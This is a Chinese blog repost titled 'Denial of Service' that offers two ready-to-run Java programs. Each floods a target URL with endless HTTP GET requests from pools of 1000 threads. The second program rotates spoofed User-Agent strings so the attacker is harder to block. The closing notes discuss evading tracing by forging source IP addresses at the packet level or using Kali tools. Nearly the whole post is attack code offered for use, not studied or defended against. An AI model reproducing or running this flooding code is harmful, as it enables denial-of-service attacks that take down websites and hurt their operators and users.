百木园-与人分享,
就是让自己快乐。

Denial of Service

//定义一个线程类Mythread实现Runnable接口!!直接跑main方法
package com.dosa;

import java.io.BufferedInputStream;
import java.io.IOException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

public class ddos {

	public ddos() {
	}
	public static void main(String[] args){
		ExecutorService es = Executors.newFixedThreadPool(1000);
		Mythread mythread = new Mythread();
		Thread thread = new Thread(mythread);
		for(int i = 0;i<10000;i++){
			es.execute(thread);
		}
	}
}
class Mythread implements Runnable {
	public void run() {
		while(true){
			try {
				URL url = new URL(\"网址\");
				URLConnection conn = url.openConnection();
				System.out.println(\"发包成功,手动滑稽!\");
				BufferedInputStream bis = new BufferedInputStream(conn.getInputStream());
				byte[] bytes = new byte[1024];
				int len = -1;
				StringBuffer sb = new StringBuffer();
				if(bis != null){
					if((len = bis.read()) != -1){
						sb.append(new String (bytes,0,len));
						System.out.println(\"攻击成功,手动滑稽!\");
						bis.close();
					}
				}                    
			} catch (MalformedURLException e) {
				e.printStackTrace();
			} catch (IOException e) {
				e.printStackTrace();
			}
		}
	}
}
package com.dosb;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import java.util.ArrayList;
import java.util.Random;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
/**
 * DoS攻击
 * 
 * @author Q
 *
 */
public class dos {
	/**
	 * 输入开启的线程数量
	 */
	private static final int MAX_THREAD = 1000;
	/**
	 * 输入你想攻击的网址
	 */
	private static final String URL1 = \"网址\";
	private static final String URL2 = \"网址\";
	private static ArrayList<String> userAgentsList;
	public static void main(String[] args) {
		userAgentsList = new ArrayList<String>();
		InsertUserAgent();
		Attack(URL1);
		Attack(URL2);
	}
	/**
	 * Get请求攻击
	 */
	private static void Attack(String URL) {
		ExecutorService ex = Executors.newFixedThreadPool(MAX_THREAD);
		for (int i = 0; i < MAX_THREAD; i++) {
			ex.execute(new Thread() {
				@Override
				public void run() {
					while (true) {
						sendGet(URL);
					}
				}
			});
		}
	}
	private static void sendGet(String URL) {
		try {
			URL url = new URL(URL);
			URLConnection connection = url.openConnection();
			HttpURLConnection httpURLConnection = (HttpURLConnection) connection;
			httpURLConnection.setRequestMethod(\"GET\");
			httpURLConnection.setRequestProperty(\"Connection\", \"keep-alive\");
			httpURLConnection.setRequestProperty(\"Cache-Control\", \"max-age=0\");
			httpURLConnection.setRequestProperty(\"Upgrade-Insecure-Requests\", \"1\");
			httpURLConnection.setRequestProperty(\"Accept-Charset\", \"zh-CN,zh;q=0.9\");
			httpURLConnection.setRequestProperty(\"Content-Type\", \"application/text\");
			httpURLConnection.setRequestProperty(\"User-Agent\", selectUserAgent());
			httpURLConnection.connect();
			int code = httpURLConnection.getResponseCode();
			if (httpURLConnection.getResponseCode() >= 300) {
				throw new Exception(\"Request is not success, Response code is \" + code);
			} else {
				System.out.println(\"Request is success, Response code is \" + code);
			}
		} catch (Exception e) {
		}
	}
	private static String selectUserAgent() {
		Random random = new Random();
		int i = random.nextInt(userAgentsList.size());
		return userAgentsList.get(i);
	}
	private static void InsertUserAgent() {
		userAgentsList
		.add(\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95\");
		userAgentsList.add(\"Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.50\");
		userAgentsList.add(
				\"Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10\");
		userAgentsList
		.add(\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7\");
		userAgentsList
		.add(\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71\");
		userAgentsList.add(\"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko)\");
		userAgentsList
		.add(\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101\");
		userAgentsList
		.add(\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71\");
		userAgentsList
		.add(\"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)\");
		userAgentsList.add(
				\"Mozilla/5.0 (Linux; U; Android 2.2.1; zh-cn; HTC_Wildfire_A3333 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\");
		userAgentsList.add(
				\"Opera/9.80 (Android 2.3.4; Linux; Opera Mobi/build-1107180945; U; en-GB) Presto/2.8.149 Version/11.10\");
		userAgentsList.add(
				\"Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.0; U; en-US) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/233.70 Safari/534.6 TouchPad/1.0\");
		userAgentsList
		.add(\"Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; HTC; Titan)\");
		userAgentsList.add(
				\"Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\");
		userAgentsList.add(\"AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\");
	}
}
注意事项:
虽然用User-Agent列表来混淆对方,这样从一定程度上可以防止被封。但是这不是伪造源IP的方式,只要对方下定决心来查你,怎么样你都会被查到。不过,我想到另一种思路,从数据包的层次修改源IP地址,这样的结果是收不到回包,不过可以做到攻击效果。以后有空试一试,或者直接用Kali里面的工具。

来源:https://blog.csdn.net/ChineseSoftware/article/details/123258309
本站部分图文来源于网络,如有侵权请联系删除。

未经允许不得转载:百木园 » Denial of Service

相关推荐

  • 暂无文章